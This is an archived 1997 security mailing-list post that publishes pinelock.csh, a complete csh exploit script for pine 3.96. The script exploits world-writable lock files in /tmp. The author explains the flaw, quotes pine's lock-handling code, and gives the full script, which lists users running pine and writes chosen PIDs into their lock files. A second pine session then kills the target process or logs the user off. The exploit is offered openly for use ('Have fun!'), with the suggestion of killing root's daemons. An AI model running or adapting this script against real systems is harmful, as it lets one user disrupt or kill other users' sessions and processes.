pinelock.csh exploit

From: Roger Harrison ? (rharri01at_private)
Date: Tue Dec 02 1997 - 19:33:30 PST

  • Next message: Kevin K. Sochacki: "HPUX rexecd bug on trusted system"

            There was something a while ago on bugtraq about pinelock
    files and how they were mode 666.  This program I wrote takes this idea
    and brings it a step further into an easy way to show why this is a
    problem.  My program <pinelock.csh> allows you to log off a user or kill
    one of their processes IF they open up a second session of pine.  It
    isn't terribly useful, except for annoying a user.  However, if root opens
    up two sessions of pine, I can think of some interesting processes and
    daemons which might be killed.  Copies of this program will be stored
    at http://kepler.poly.edu/~rharri01/.  Click on files and
    then click on pinelock.csh. Have fun!
    
                            -Iconoclast
                            iconoclastat_private
    
    
    ------------------------cut here------pinelock.csh-------------
    #!/bin/csh -f
    #pinelock.csh
    #Written 12/97 by Iconoclast -> iconoclastat_private
    #This program can exploit the vulnerabilities of pine lock files in version 3.96
    #which are mode 666 to log a person off or kill one of their processes if a second
    #instance of pine is started.  It only works if they open a second session of pine.
    #It could be useful if root likes to open up two sessions of pine...
    
    #The kill occurs in the files bezerk.c and mmdf.c as seen in the code fragment from
    #pine below:
    #
    #                            /* can get the lock? */
    #else if (flock (fd,LOCK_EX|LOCK_NB)) {
    #  if (retry-- == KODRETRY) {/* no, first time through? */
    #                            /* yes, get other process' PID */
    #    if (!fstat (fd,&sbuf) && (i = min (sbuf.st_size,MAILTMPLEN)) &&
    #        (read (fd,tmp,i) == i) && !(tmp[i) = 0) && (i = atol (tmp))) {
    #      kill ((int) i,SIGUSR2);
    #      sprintf (tmp,"Trying to get mailbox lock from process %ld",i);
    #      mm_log (tmp,WARN);
    #    }
    #    else retry = 0;         /* give up */
    # }
    # close (fd);                /* get a new handle next time around */
    
    #Notes on files created
    #/tmp/aa                                  temp list of lock files
    #/tmp/bb                                  user id's
    #/tmp/cc                                  /etc/passwd entry
    #/tmp/dd                                  pine lock file names
    #/tmp/ee                                  pids within lock files
    #/tmp/ff                                  user names
    #/tmp/gg                                  count of users running pine
    #/tmp/hh                                  final parsed output
    #/tmp/jj                                  processes
    #/tmp/kk                                  parsed processes
    #/tmp/ll                                  temp storage for pid and garbage
    #/tmp/mm                                  actual pid we want to kill
    #/tmp/nn                                  parsed numbers and processes
    #/tmp/oo                                  list of just pids
    
    clear
    ls -la /tmp|egrep 'rw-rw-rw-.*\.[0-9a-f]+\.[0-9a-f]+$' > /tmp/aa #list of lock files in /tmp
    awk '{print $3}' /tmp/aa > /tmp/bb        #get user name of each file
    awk '{print $9}' /tmp/aa > /tmp/dd        #get list of names of lock files
    touch /tmp/cc /tmp/ee /tmp/gg             #create files so we don't run into trouble
                                              #in the foreach loop when we do ">>"
    
    foreach i ( `cat /tmp/bb` )
    grep $i /etc/passwd >> /tmp/cc            #search /etc/passwd for user name
    end
    
    awk -F: '{print $5}' /tmp/cc > /tmp/ff    #get person's name from user name
    
    set k=1
    foreach i( `cat /tmp/dd` )                #go through lock file names
    echo $k >> /tmp/gg                        #generate sequential numbers
    set k = `expr $k + 1`                     #increment count by 1
    cat /tmp/$i >> /tmp/ee                    #get pid within each lock file
    echo "" >> /tmp/ee                        #new line
    end
    
    paste -d " " /tmp/gg /tmp/dd /tmp/ee /tmp/bb /tmp/ff>/tmp/hh
    
    echo "The following users are running pine:"
    echo ""
    echo "#"  lock file  pid "   " uid "     " user name
    echo "--------------------------------------------------"
    cat /tmp/hh                               #this is the parsed data
    echo ""
    echo "Pick from the choices below."
    echo "1) Try to log them off"
    echo "2) Try to kill a process"
    echo "3) Exit"
    echo -n "Choice:"
    set input = $<
    
    if ("$input" == "3") then
    cd /tmp
    rm -f aa bb cc dd ee ff gg hh
    exit
    endif
    
    if ("$input" == "1"||"$input" == "2") then
    echo -n "Pick a number you'd like to try:"
    set number = $<
    set k=0
    foreach i (`cat /tmp/dd`)
    set k = `expr $k + 1`
    if ("$k" == "$number") then
    set filename = $i
    goto label
    endif
    end
    endif
    
    label:
    if("$input" == "1") then
    echo 99999999999999999999999999999999 >! /tmp/$i  #32 9's in lock file
    echo "Kill code has been inserted\!"
    endif
    
    if ("$input" == "2") then
    echo '' >! /tmp/$i                        #remove old pid
    echo "Below are the processes the person is running:"
    
    ls -la /tmp/$i > /tmp/ll
    awk '{print $3}' /tmp/ll > /tmp/mm        #/tmp/mm has uid
    set uid = `cat /tmp/mm`
    
    /bin/ps -ef|grep $uid > /tmp/jj
    
    #number generator and paste.
    awk '{print $1}' /tmp/jj > /tmp/kk        #amount of processes
    set k=1
    rm -f /tmp/gg
    touch /tmp/gg
    foreach i( `cat /tmp/kk` )
    echo $k >> /tmp/gg                        #generate sequential numbers
    set k = `expr $k + 1`                     #increment count by 1
    end
    
    paste -d " " /tmp/gg /tmp/jj > /tmp/nn
    cat /tmp/nn
    echo -n "Pick a process:"                    #choose process we want to kill
    set number2 = $<
    awk '{print $3}' /tmp/nn > /tmp/oo        #put pids into a file
    
    set k=0
    foreach i( `cat /tmp/oo` )                #find pid we want
    set k = `expr $k + 1`
    if ("$k" == "$number2") then
    goto label2
    endif
    end
    
    label2:
    echo $i >! /tmp/$filename                 #put pid into lockfile
    echo "Kill code has been inserted\!"
    endif
    
    cd /tmp
    rm -f aa bb cc dd ee ff gg hh jj kk ll mm nn oo #clean up files
    cd                                        #put you back in home dir
    ----------------end cut------------------
    
    -----BEGIN PGP PUBLIC KEY BLOCK-----
    Version: 2.6.2
    
    mQCNAzNmUI4AAAEEAODKLXdOCW9uEYLv8A+HWa9ZP12frN1aDUsjD5sLtpFqhW1G
    S2lfbIL48+jjufsZPIuwhpL9kcTI2F09cByDqPdygz+OPaiq1VmHd21MR85VgAr+
    xlq2fzd1NIctooBl3cZIkTYLYSbYWvgYKcP+LoyjqAhXmqrXd5qYW25wwG2NAAUR
    tBo8cmhhcnJpMDFAa2VwbGVyLnBvbHkuZWR1Pg==
    =gF+6
    -----END PGP PUBLIC KEY BLOCK-----
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:34:57 PDT